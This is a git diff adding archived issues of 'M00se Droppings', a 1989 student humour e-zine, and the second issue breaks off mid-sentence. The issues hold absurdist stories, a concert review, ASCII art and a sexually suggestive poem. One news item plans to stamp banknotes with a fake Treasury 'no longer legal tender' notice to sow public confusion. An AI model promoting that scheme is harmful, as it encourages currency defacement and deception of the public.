+m00ses! + For those of you who HAVEN'T read ILLUMINATUS! yet, I HIGHLY recommend +it! Go and buy a copy NOW! Otherwise, you won't truly appreciate the subversive +stuff we post here. :) + More stuff as I think of it.... + -Pat "DangerM00se" Salsbury + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Hey! I just realized that it's a Friday, and that 'Droppings usually +comes out on Friday! So, even though I just sent an issue yesterday, I thought +I'd confuse you all and send another! ;^) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +Here's some thoughts on a way we can really cause some confusion and paranoia. +Anyone know where we can get rubber stamps made up? ;^) + -Pat +[Note: Text with a > preceding is from V115QRJ8@UBVMS - BlAcKDoG] + +>Incidentally, following up on what me and Crissm00se were doing one day +>during Western Civ, me and Pat came up with getting rubber stamps, somewhat +>official looking, saying something to the effect that the bill is null&void +>, love, the treasury dept. If we get started we could deface all 20 billion +>odd $1 bills in a few decades. But if other people see them and catch on.... + Yeah. I was reflecting a bit on this last night. We put something on a +stamp (with a nice, official looking border) that says: + "This bill has been reclaimed by the Treasury Dept. for destruction. Do +not honor, it is no longer legal tender." +And we start stamping them on all sorts of denominations of currency. +1,5,10,20,50-dollar bills...whatever we can get our hands on. Then we re-release +them into the system. (If we just do it with $1's & 5's, we can put them in +change machines, and then take change back to the back to get more bills! :) + :^) + And the thing is, once people see them, they will try to get rid of +them quickly and surreptitiously. They think that they are committing an +illegal act, and get all guilty and sneaky. They'll start trading them in to +stores and such, with the stamped side face down. Probably not realizing that +reclaimed bills are exchangeable for new ones. :) + And they'll feel like they've had something akin to a counterfeit bill +foisted on them, so they'll feel all cheated. Which will create feelings of +public unrest. And it will eventually make the news and waste lots of time as +they announce to the public that the bills are still legal, and that the +Treasury Dept. doesn't stamp bills, just burns them. + And... + And... + And...I think it's a pretty good idea, don't you? :) + +>Tht's one of the great things about money,it shows one of the basic stupidities +>of the capitalist system. If this money is mine....how can it be a crime to +>deface it?! and if it belongs to the gov't, why the fuck am I taking it? + True! Wow! What a great thought! Are we thieves? Or just vandals? :) + -Pat + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- +From: V056QKT3@UBVMS +Date: 30-OCT-1989 16:02:02 +Description: aaaaack! + + And then... it happened. + Not that modern science would ever care, or not even that it would ever get +on the cover of playboy magazine, but I had just discovered the meaning of life, + the fire-side twinkie. That's right, the fire-side twinkie. Have you ever lost +a quarter in your pocket? Actually had it be there one minute, and gone the +moment before? This is the sign of a total mental imbalance, and may be treated +with 27 Alabama Slammers. Not to mention the lint-balls. Ugh! + Ever been to Guilderland NY? + + ...And you'll never go back, eh? What a shame. Really is a nice place. And +there sure are a lot of cute girls from there, but that is consequential, and +we shall therefore take that into no consideration whatsoever. Understood? + And now it's time for SPORTS! + + Today, while fly-fishing, Mr. Jethro Q Walruss-titty was strangled to death. +It seems that a small whirlwind came up while he was casting, and wrapped it +around his neck 68 times. + And now for college football scoreas. + + Syracuse 28 NYU 12 + Georgetown 9 ABC 2.5 + + UCLA 22 + MIT 3 to the 5th power! + + And now a partial score... + + Clemson 28 + + That's the news for this evening. + + This is Dan Lather, not signing off. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +where's that damn hold button? + + + + + + + + + + + + + + + + + + + + + + + + + +I know it's here somewhere.... + + + + + + + + + + + + + + + + + + + + + + + + +Is this it? + + + + + + + + + + + + + + + + + + + + + + +#$%^&, it wasn't! + + + + + + + + + + + + + + + + + + + + + + +Ah, here it is...... + l0i0m00se. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: V061REGM@UBVMS - CAPTAIN DEVIOUS! +Date: 31-OCT-1989 10:47:31 +Description: osmo + +SEMI-OFFICIAL M00SE RULES (FALL '89) FOR OSMOKINETICS! +------------------------------------------------------ + +1) Get together your semi-standard playing equipment: one 9-inch tensegrity, + eleven small steel balls, a towel, four bathtubs, a fresh package + of stale bread crumbs, and the American ambassador to Finland. + (only the first two are required for the basic version of the game.) + +2) Place the tensegrity in the middle of the regulation-size playing area, + distribute the balls in accordance with rule, and, taking turns + in a clockwise fashion, starting with the beginning player, play + the game. + +3) The object of OsmoKinetics is to play. If you want to win, then quit + (see rule #4) and go play parcheesi with your little sister. Also, + the play is to be as convincing looking as possible; that is, play + as if you were playing in front of a lot of people (which, by the + way, is the best way to play it), and are trying to make them think + there is actually a highly complex set of rules. Actually, the rules + are quite complicated, but that comes later. + +4) To quit the game, leave. + +5) The game ends when all players quit. This usually happens after a while + if players become bored, distracted, or discover that nobody is actually + watching them. When a game ends, it is generally done. + +6) All rules after rule number 5 are complete nonsense and should be ignored, + if possible, or not if you want. + +This concludes the semi-official rules of the game of OsmoKinetics, + version Fall '89. + +Provided by: CAPTAIN DEVIOUS! +and +Inspired by: PAT SALSBURY +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From the Superguy list. Submitted by Lord Trelf +Subject: The Armadillo - Chapter One + + + ***DISCLAIMER: Don't blame me or anyone else for anything. I fell down + a flight of stairs at any early age.*** + + Joe and Ed stood by the trash dumpster, catching a few smokes while on +their ten minute coffee break. The Texas sun was hot on their backs, and the +heat sizzled up from the cement. They were temp workers, and not happy about +it, but as they are only appearing in this story for a few paragraphs, don't +get overly concerned about their plight. They had been busy all morning +at the "Flatfoot Emporium", a retail store specializing in old detective pulps +and videotapes of "The Untouchables" and other similar media products of that +genre. [ For the unenlightened of you out there, the word 'genre' is a term +used by us smart-assed artistic types to mean lots of books, movies or +magazines rehashing the same old stuff.] + Apparently, the Emporium had been bought out by certain members of the PTL +board of trustees, and they were planning on turning the building into a Jim +and Tammy Faye Bakker Memorial Museum, in honor of the now late Bakkers, who +died in a tragic accident involving lengths of rope, a pound of butter, and +97 vials of mascara. This isn't important either, so don't get worried. What +IS important is that Joe and Ed had been ordered to remove all the videos, +magazines, and books from the premises and dump them somewhere, preferably far +away. This is what Joe and Ed had been doing all morning. + Finishing his smoke, Joe tossed it to the ground and crushed it under +his heal. Moving back toward the dumpster, he noticed a rat running out +from the dumpster. It was the same rat they had seen all morning, the one +they had affectionately named 'Willard'. "Gee," said Joe, "that rat seems to +be running off in the direction of Washington D.C." + "So what," said Ed. "Let's get finished. I got a bowling match tonight." + "Okay," said Joe. + + By mid-afternoon they were finished, and took the dumpster to a far away +dump. They quickly dumped their not-so-precious cargo off the side of a small +hill and drove off into the quickly setting sun, unaware that they had just +dumped nearly a ton of Detective Genre books, magazines, and videos on a +pool of toxic waste. [Origin of waste unknown -- for now.] + The next morning, a small, non-descript armadillo was meandering his way +through the dump looking for his breakfast. He came across the pile of toxic +magazines, books and videos, said "What the hell?" in armadillo language, and +began to dig in. It wasn't particularly good eating, but he didn't expect to +find much better in a dump where the likes of Joe and Ed dumped things. After +chowing down for 20 minutes [he was a hungry armadillo], he decided to burrow +into the pile and sleep for a while. [Now, you're all out there yelling "NO! +Don't do it!" and the like, but remember, this is an armadillo, not a B-movie +bimbo, so of course he isn't going to understand you.] + + Several hours later he woke up, and immediately realized something was +different. He tunneled out of the pile and stood up in the cool evening air. +Off to the side a more-or-less intact mirror stoo}id against a pile of junk, and +the armadillo walked over to it. Looking in, the image he saw shocked him. He +was now humanoid, standing roughly 5 feet 6 inches. He was still clad in armor, +but was now wearing a tan trench coat and a tan, beaten fedora. In a shoulder +holster sat a .38 revolver, well oiled. Rummaging through his coat pockets, he +came across a box of ammo in one and a bottle of cheap bourbon in the other. He +uncapped the bourbon and took a swig. "Smoooooth," he said, then was shocked to +find that he was speaking Human English, with an accent that was a cross between +Chicago and Bronx. [Erie to consider, eh?] + He looked off in a Northwesterly direction, knowing where his destiny +lay......The Big Apple. + + Several Years Later... + + [Right now you are probably asking why this story is suddenly jumping +several years into the future. I can answer that question by giving you +a description of our hero, who hereing is known as The Armadillo [or +Dillo Man by his friends]. On that fateful day when he ate and nested in a +pile of toxic Detective Genre media stuff, The Armadillo gained humanoid form, +sentience, and a taste for cheap bourbon. Those aren't all of his powers, +though. His body is still made up of armadillo armor, so he can take most +blows and gunshots with surprisingly little damage. His trench coat never +takes damage, nomatter how many shots it takes, and his fedora never falls +from his head. He has gained the proportional strength of an armadillo [what +are you laughing at? do you know how strong one must be to ALWAYS carry a +suit of armor around? thought that would make you straighten up in your seat.] +and unfortunately, the proportional speed of an armadillo, which explains why +our story leaps ahead in years.] + +So, as I was saying... Several Years later... + + She walked down the hall, apprehensive as all hell, but knowing she +had to do what she was{_ about to do. The dimly lit corridor smelled like a +zoo, and the floor was littered with fast-food wrappers. As the echo of her +high heels resounded through the hall [how can noise resound through a trash +filled corridor, which should normally absorb the sound? Don't ask me..all +I know is that it makes for a neat hollow deserted effect.] she stopped in +front of a wooden door with a smoked plate glass window. On the window were +written the letters A D A, which she knew to stand for the Armadillo Detective +Agency. Wondering how she could decide to use an agency with such a name, +she knocked on the door. + A flat, oddly accented voice answered. "Come in." + She opened the door and gasped upon looking at the form behind the desk. + "My God," she said. "You really ARE an armadillo! I thought that was just a +gimmick." + For his part, The Armadillo was quite taken aback when he saw her. She was +a statuesque blond with a body that would make a rat start living a clean life. +Her hair flowed freely over her shoulders, accenting her rather large +##CENSORED##. And her legs weren't bad either. He had to exert massive control +to keep his tongue from rolling onto the floor. {After all,} he thought, {what +flatfoot worth the name would show emotion over a dame.} + "I know it's a gimmick," he replied in a voice which sounded like it came +from a person who was born and raised in the Bronx, but had been living on the +South Side of Chicago for the past five yeears. "But it ain't mine..it's the +author's. I don't have any control over him." + "I understand," the woman said. "Ya' gotta help me, Mr. um, ah..." + "They call me The Armadillo," he said. + "Okay, Mr. um, Armadillo.." + "No," he interupted. "Not Mr. um, Armadillo. Just call me Mr. Dillo." + "Yes Mr. Dillo. Anyway, I'm in a lot of trouble, and ya' gotta' help me." + He watched the way she breathed when she talked. And the way she breathed +when she moved. And the way she breathed when she didn't move. He even watched +her when she didn't breate. {And to think of all those years I fooled around +with armadillos, when I coulda' been playin' the bagpipes with this one here.} + "Why are ya' in trouble, shweetheart?" + Mere moments later, as she was about to explain what her problems were, +a terrible explosion went off, knocking in the windows and shattering everything +in the room, including [presumably] our hero and the dame. + + + +WHAT WAS THAT EXPLOSION? + +DID THE ARMADILLO AND THE DAME SURRVIVE? + +DOES "SHE" HAVE A NAME? + +WILL THE ARMADILLO GET TO PLAY THE BAGPIPES WITH HER? + +THE ANSWERS TO THESE AND OTHER EXCITING QUESTIONS CAN BE FOUND IN A SMALL +WHITE ENEVELOPE HIDDEN IN THE PIANO AT 'RICK'S PLACE'!!!!!!! -OR- + +TUNE IN NEXT TIME...SAME ARMADILLO TIME...SAME ARMADILLO CHANNEL! +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +From: V118PV6E@UBVMS - Crissm00se +Date: 30-OCT-1989 12:08:06 +Description: well, if you ask me... + + AA + AAAAAAAAAAAAAAAAA + AAAAAAAA AAAA AAAAAAAAA + AAAAAAAAAAA AAAAAA AAAAAAAAA + AAAAAAAAAAAA AAA AAA AAAAAAAAAA + AAAAAAAAAA AAA AAA AAAAAAAAAAA + AAAAAAAAAA AAAA AAAA AAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAA AAAA AAAA AAAAAAAAAAAA + AAAAAAAAA AAA AAA AAAAAAAAAAAA + AAAAAAAA AAA AAA AAAAAAAAAA + AAAAAAAAA AAAAAAAAAAA + AAAAAA AAAAAAAA + AAAAAAA AAAAAAA + AAAAAAAAAAAA AAAAAAAAAAAAA + AA AAAAAAAAAAAAAAAAAAAAAA AA + A AAAAAAAAAAAAAA + Anarchy - the only way. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: V123P62M@UBVMS +Date: 30-OCT-1989 14:28:34 +Description: ...And so I was saying to Stella..."Stella," I said... + + ..."there's definitely something strange about the trunk +in the living room." + "Well, that's because it's a foot locker, you lasagna-head," +Stella mumbled with a disgusted shake of her plum-colored locks. + "No, besides that," I protested. "I put a couple of blankets +in there last October when I cleaned the corner of the living room - +YOU know which corner I mean - and last Wednesday I checked to see if +Marty was in there, and the blankets were gone." + Stella yawned and rotated her new nose ring another half turn. + "Instead, there was a full eight course dinner for five in that +trunk. Steaming hot, and ready to serve. And there was a delecate rose' +wine...Chateau Babinski '98, I believe...." + "Have you ever considered the significance of the number of dead +flies found between the panes of your average kitchen window?" Stella +demanded, waving a chicken leg in my face. "It boggles the mind!" + I took the chicken leg and stuffed it up her nose. Up to my wrist. +Stella has a very large nose. + "And of course, when I tried to take the dinner OUT of the trunk, +the lid slammed on my earlobe and I had to use a cane for weeks. It always +happens." + Stella's eyes lit up like headlights and I knew she was going to +begin to prophesy. I hate when that happens. + "DER FROSTIGER MITBEWOHNER WIRD SAUERMILCH FUEGLICH STUETZEN. DIE +MORPHIUMSUECHTIGE NONNEN SIND LUESTLINGINNEN!" + Well...at least it had been in a tolerably harmless tongue..... +Last week she'd done it in Mongolian Sign Language, and decapitated three +Jehova's Witnesses. + By the time I put her clothes out and reset the smoke detector, she +was fairly lucid. "Tell your acting professor to fark off," she trilled. +"He's a pansy and a libertine. A pasty and a listerine." She suddenly +put on toe shoes and commenced to dance the Spanish Panic on the dining room +table. The chandelier would have suffered, but we'd already eaten it for +breakfast. + Just then the doorbell rang, and Marty stepped through the window, +carrying two blankets and a tire iron. + "You lose these?" He asked, tossing the blankets at me. They weren't +the ones from the trunk, but looked vaguely familiar. I mulled it over as +he clonked Stella on the head with the tire iron and mounted her over the +mantlepiece with an apple in each nostril. I told you she had a big nose. + After that, it was simplicity itself to knit the fish a sweater. +Obviously, he hadn't been in any kind of mood to sit through the measurement +session before Marty arrived, what with all the table-dancing and prophesy. + + Oh, the blankets? Turns out my grandmother had burned them a few +years ago when Jorge came down with tuberculosis. Too bad he was in them at +the time. + +-Lorelei + +(Heeeeeeere little fishy, fishy, fish..... + Wherever did he go?) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: V093P9AX@UBVMS (Who never gives a name on his posts.) +Date: 23-OCT-1989 23:10:46 +Description: Things II + +For all those who desire more things, I present + + T H I N G S I I + + CHapter one + Screaming +--------------------------- + Okay, okay, so I didn't play parchesi like mother said. It only goes to +show that when you are down and out, fake the punt and go long. You can get +better yardage that way. If not, father no's best. Yearning for a lethal +injection of Venetian Pudding is a plot by the carpetbaggers, rugweavers and +surviving members of the Mills Brothers who want a fag-burning amendment to +disallow torching homosex- wh00ps! I mean FLAG_burning amendment. It leaves me +to bring up the only serious point that I'll probably ever make: + WHY DON'T THEY FIREPROOF THE FUCKING THING???? + + ChapTer Too + Gnnnnnnnannnnnnng! +-------------------------------- + Of course you know, this means war. I have received juristiction from the +non-mangled people S.A. and the Ihavenohormones S.A. in order to strip the +country bear. And if you've ever seen a naked bear, that's more than you should +bear. Bear with me. Barely. + + ChaPTRe 3 + Ong. +------------------------------------ + Don't fall into the trap set by those who say the Wright Bros. dis- covered +Kaluha. Dr. Benson ONg did, and no one cxould tell Wright from Ong anyway. + Listen, oh grape of the forbidden pig! Yoou pretend to have all of the +answers but slavism is not red!!! I know where you store the daffodills!! + Upon leaving this level of conscious- ness, prepare to watch ERASERHEAD: +THE MUSICAL. Of course, remember, bananas aren't shaped that way on purpose. +***TO BE CONTINUED*** + +From: V093P9AX +Date: 25-OCT-1989 19:43:08 +Description: Things II: The Conclusion + +THE END. + +when in doubt, shoubt BL0000p. +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + Still nothing new on this front. +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + Still waiting for the update. (C'mon, Darkling M00se! :-) ) +-------------------------------------------------------------------------------- +Next Issue-Next Issue-Next Issue-Next Issue-Next Issue-Next Issue-Next Issue-Nex +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se32 b/textfiles.com/magazines/M00SE/m00se32 new file mode 100644 index 00000000..e008620b --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se32 @@ -0,0 +1,793 @@ +-------------------------------------------------------------------------------- + Pointy Issue-Pointy Issue-Pointy Issue-Pointy Issue-Pointy Issue-Pointy Issue +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #32| Disclaimer: The Editors will place almost anything in |Nov.10 , 1989 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back issue requests: WarM00se + M00se List updates and changes: Darkling M00se + (This space to let): Contact +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Woof Woof Woof! Hello! My name is Raggs! (If you don't understand that, see +"Sleeper", by Woody Allen (c) 1972 or -3) + Yes, it's another one of those damned...uh...I mean...WUNNERFUL issues +of M00se Droppings come to clutter up your mailboxes and directories! + As to the "Pointyness" of this issue...I was just browsing through issue +23 of M.D. this morning, and I stumbled across the Steve Martin poem, "The +Pointy Birds." + The Pointy Birds are pointy, pointy. + They annoint my head, annointy, 'nointy. + I thought this was AMAZINGLY funny, and thought I should re-share it +with all of you. + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +(Submitted by BrandyM00se) +A SMILE costs nothing, but gives much. It enriches those who receive, +without making poorer those who give. it takes but a moment, but the +memory of it sometimes lasts forever. None is so rich or mighty that +he can get along without it, and none is so poor but that he can be made +rich by it. A smile creates happiness in the home, fosters good will +in business, and is the countersign of friendship. It brings rest to the +weary, cheer to the discouraged, sunshine to the sad, and it is nature's +best antidote for trouble. Yet it cannot be bought, begged, borrowed, or +stolen, for it is something that is of no value to anyone until it is given +away. Some people are too tired to give you a smile. Give them one of +yours, as none needs a smile so much as he who has no more to give. + + - author unknown to me. + 0 0 + > + \_/ +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Imagine you are a poor seafaring lobster who can't quite afford to +book passage aboard the Queen Mary (is that still running???). So, quite +naturally (literally quite naturally), you begin to swim from point a to +point b, both point a and point b being basically water somewhere, which +looks like water everywhere, except for water at toxic waste sites, or +somesuch. Anyhow, as you relax, working out, doing the backstroke, you +realize that there is a vast net around you. Suddenly you are pulled into +a boat very unlike the Queen Mary, and soon find yourself on ice. In +handcuffs. Upon waking up, you learn that you are either still in handcuffs, +or else you are suddenly performing Houdini's last trick. + Where to from there????? At last we find out. Some 200+ lb. woman who +speaks no decipherable language(at least not decipherable to lobsters)decides +you'd look better in her home than in a store. She neglects to mention that +the invitation to dinner involves you as the main course. you realize that +when she holds you over her cauldron of boiling water and threatens to +make you into a chameleon: you will turn a very unnatural shade of red. + Well, now is the time to stop this torture of poor harmless sea +creatures! join the Lobster Liberation League (LLL)! Now! That's right! +what could be a more joyful sight than 30 lobsters trotting happily out +the automatic doors of your local supermarket? Hobbling out the doors of +your local fish markets(is that the right word???), claw in claw, +crying "free at last!", or at least its nearest lobsterian equivalent. +The time for action is NOW!!!! + brought to you by the LLL + goodbye and hello as always, + valerie (aka vam00se) +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +Bill Dickson and I were discussing having a Mega-Thr0ng-A-Thon sometime soon. +I've found a particularly good place for it. (You're not going to beleive this!) + BIG M00SE, NY!!!!!!!!! + (And better yet!) Population: ***6*** +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Hey, Bill! What's the news on those M.I. T-shirts? Send me some info, and I'll +post it..... +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +[I believe this is from Bill Dickson, but I'm not sure.....-Pat] + +Hi there! It's the Pompous Critic once again, telling you who and what to like +if you want to be a hip art snob. Remember, if I don't say it's good, it's +not, no matter how much you like it! + +Today I'm going to review the David Byrne concert that took place at the Palace +Theatre in New Haven, CT on November 4. Byrne, as those of you with brains +instead of squid in your heads will know, is the singer and songwriter for +Talking Heads. He has a new solo album out, with a latin feel to it -- +inspired by the song "Mr. Jones," which was on the last Heads album, _Naked_. + +Byrne isn't alone on this tour. Your Pompous Critic counted fourteen people on +the stage at one time, including seven men playing brass instruments of one +kind or another, four percussionists, a keyboardist, a female backup singer +(who sang a couple of songs herself as well), and Byrne. The guys on the horns +took turns playing a spare keyboard, playing some spare percussion, dancing, +and singing backup as well. + +The concert basically consisted of the songs on Byrne's new album, _Rei_Momo_, +plus "Mr. Jones" and a song from the Jonathon Demme film, _Something_Wild_. +That song is one of the extra tracks on the Compact Disc version of the album. +In addition, for the second encore, Byrne played "Papa Legba" from his own +film, _True_Stories_. + +The band looked great. They were all in solid white, they were all enjoying +themselves immensely, and they were all *moving*, whenever they didn't have to +stand still to play. The seven guys in back had choreographed little movements +to each song, and were obviously having a ball. Byrne, even though he looks +like Norman Bates and sweats like a pig, could get an award for the Person Who +Enjoys Himself The Most On Stage. He was constantly dancing around, by himself +or with his backup singer. He suggested we all dance as well, with the warning +that "state regulations require that the aisles be kept clear, but there's no +aisles in the middle." The energy they put out to the audience was wonderful. + +So how was the music? Well, let me put it this way: + +There were only two flaws with the entire concert. The first, more mild one +was when Byrne fumbled a drum he was picking up and had to chase it a bit, +causing him to get back to the microphone in the middle of a line he was +supposed to be singing. He was clearly disturbed by this, but the audience +forgave him instantly, and he relaxed again. + +The second was that there *was* no room to dance. The music was so +entertaining, so successfully performed that it was impossible to sit still. +Even the older fogies I saw were moving around, and many of the Yalies were +doing their best to dance in the four inches they had between their own seats +and the seats in front of them. "Mr. Jones" in particular, good as it was, +would have been infinitely better in an outdoor theatre with a green for +everybody to dance on. It was a bit frustrating, getting all that energy from +Byrne and his band, and not having much outlet for it. + +All in all, it was well worth the money. It was even worth the money that +Jethro Tull, four days before, wasn't worth; so I kind of felt as if New Haven +had made it up to me. Byrne was friendly, unpretentious, and entirely +entertaining. The Pompous Critic says "go see it or be hopelessly crass and +inadequately tasteful." +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + The Armadillo -- Chapter Two + by Lord Trelf + + As you remember, the dame was just about to tell The Armadillo why she +needed help when an explosion ripped through the room. The concussive blast +came from the direction of the window behind The Armadillo, pushing him +forward and onto the dame, knocking her to the floor. The fact that he +landed on top of her [after all, what good flatfoot wouldn't be on top +of...oh never mind] and the sheer invulnerability of his Armadillo Armor +was what saved them both. + As the smoke cleared, The Armadillo picked himself up, brushed the loose +debris and dust from his trench coat, and helped the dame up to her feet. + "Well, that certainly was an adventure, now wasn't it?" he said. + The dame gave him a weird look. + And Hollywood sued the author for stealing lines from "The Princess Bride". + Or at least they would, but they won't ever read this, so screw 'em. + "What was that?" the dame breathed, frightened and shocked and confused. + "I don't know, but I'm gonna' find out, shweetheart," The Armadillo said. + Moving toward the window, he looked out to see a black sedan parked at +the curb, and a man in a three piece suit get in. The Armadillo pulled +out his revolver with surprising speed for an armadillo and took a few shots +at the sedan before it drove off. The car sped of down the street. + "Damn," The Armadillo said. "I'll get those sons-a-bitches." + "My God!" said the dame, who looked out the window just as the man +got into the car. "I know that person! Those are the guys trying to kill +me!" + The Armadillo turned to her. "Oh really? Who are they and why would the +be wanting to kill you?" + They were just a coupla' fellas workingfor the mafia until recently. +They want me 'cause I'm the only one who knows about their new boss." + "Who is this mysterious new boss that they wanna kill you 'cause you +know him?" The Armadillo asked. + "You wouldn't believe me if I told you," the dame said. + "Try me," The Armadillo said. + "The ressurrected Al Capone," the dame said. + "You're right," The Armadillo said, taking the bottle of bourbon out of his +pocket and taking a swig. "I don't believe you." + + On the other side of the city, a figure in a black tuxedo sat behind +a very large and opulent desk. A knock sounded at the door. + "YWho is it?" asked a very gruff Italian voice that sounded as if it +was being spoken through a voice synthesizer. + "Duh, it's Lumpy, Boss." + "C'mon in Lumpy." + Lumpy walked in, stealing himself for the encounter. He looked at the +man behind the desk, who's right profile was in view to Lumpy. It was the +face of an average middle aged Italian-American, but slightly scared. However, +the scars were becoming to his features. Then he turned. Lumpy looked at the +other side of the man's face. It was a robotic face: steel skin, mechanical +eye, the works. The voice was filtered through a synthesizer in the man's +throat, giving it a metallic edge. This side of the man's face always gave +Lumpy the willies. + "Did you do as I instructed, Lumpy?" the man asked. + "Duh, we tried boss, but it didn't work. We blew up his office like you +told us we should, but he survived. So did the broad." Lumpy said in a +terrified voice. + "WHAT!?!??!?" roared the man. + "I'm sorry boss. It's dat damn armor of his. It fucked us up." + "DID I ASK YOU FOR EXCUSES?" roared the man. He raised his left hand, +which was also robotic, and shot a laser beam at Lumpy, disintegrating him +instantly. "Let that be a lesson to you," he said. + Just then the phone rang. "Hello," the man said. "Al Capone here." + +IS THIS REALLY AL CAPONE RESSURRECTED? +WHO RESSURRECTED HIM? +CAN THE ARMADILLO SURVIVE THAT LASER BEAM? +DOES THAT DAME HAVE A NAME? +IS ANYBODY READING THIS? + +For the answers to these and few other questions, check out that envelope +at "Rick's Place" like I told you last time, or.... + +Tune in next time...same Armadillo time....same Armadillo channel + +A production of Superguy Ltd. ---- we're Beatrice +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Ode to Life + Oh life with your trembling tresses + Why do you put me in all of these messes? + There's love and there's hate + Isn't that great? + Then someone comes over and knees ya right in the groin. + Life can suck the chrome off a trailor hitch + + Till then, + O.DM00se +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +[From hugh@kink.UUCP (Hugh D. Gamble @ Phaedra V's Amiga 2500) - Someone write +to these people and send them the m00se.info file! We need to sign them up, and +I'm too busy laughing! ;^) -Pat] + +Number one in the Kinky Cat Sex Series: + + Kitten With A Whip + ================== + + Kitten with a whip, + tail, swish swish, + take what you will, + get what you wish. + + Teddy bear in chains, + spread on a bed; + fantasy games, + deep in your head. + + Puss in leather boots, + rising thigh high; + black rubber suits; + making him cry. + + Squirm from the blows, + writhe from the pain; + but teddy bear knows, + that he wants it again. + + Now pussy's all hot, + from the power trip; + ready or not, + next swing's from the hip. + + Teddy bear sighs; + kitty's on top; + there's fire in her eyes, + and the cat won't stop. + + The world explodes, + her claws dig in; + then kitty cat goes, + cause she's through with him. + + Teddy's still tied; + lying all alone; + even if he tried, + he couldn't go home. + + Kitten with a whip, + tail, swish swish, + take what you will, + get what you wish. +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +From V093P9AX (Who I still don't know the name of! :) ) + Things III +A DEMONSTRATION TO THINGS POETRY +-------------------------------- + Many Hugenots and other 17th century Reformers have asked me, Slapgruck, +you are such a great poet. Why don't you teach us the way? To this I say this: +"Gnnnnnnnnnnnannnnnnnnnng!!" (For no other reason except I like holding down +turtles until they scream for yogurt). I then say, I am neither Slapgruck nor +his evil Twin, Brucie, but I'll give you a primer. + All is based on the following: + Things are good. + Things are bad. + Things are great. + Aren't you glad? + Now, you try it. I knew you could. + + DIALOUGE +--------------------------------- + Okay. Here's the situation. My broccoli went away on a week's vacation. +That is the problem with being a Lenny Bruce fanatic, you get easily bowled +over. + + WHALE GEOMETRY +---------------------------------- + We can all benefit from the Society of Sophomores protecting Albatrosses +and Djibouti. SOSPAAD, created in 1986, had no real pur- pose when created, but +even less after it disbanded in early 1987. + After the fall of Southern Civilization (what am I referring to THIS time, +PAT 8) ), we lost all of our resourses of recourses. Of course, we can all find +the common cure to the common cold by isolating the common cause. I have never +screamed at a grapefruit, but it's safer than burning a flag. But, wait . . . + +THE SCREAMING AT GRAPEFRUIT AMENDMENT +------------------------------------- + Yes, folks. Just when you though it was safe to take out your frustrations +every morning, we are faced with this. What are we, as omnipotent, impotent, +non-potent, impatient, malevolent and malodorous pseudo-Americans, supposed to +do??? + Nothing, of course. That's what they want. Oh yes, I know their kind, the +non- grapefruit discriminants. Why, their common denominator can cause quite an +infraction. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + ..."Gertie," he crooned...which is a strange thing to say to me, since +my name's not Gertie. "Gertie my love, my potato salad, come go with me." + Now, I'm not one to quibble over a silly little thing like a name, +Goddess knows....ask anyone who's called me Gertie. They'll tell you the same. +So I looked into his eyes, like limpid pools of burning petroleum, and hollered, 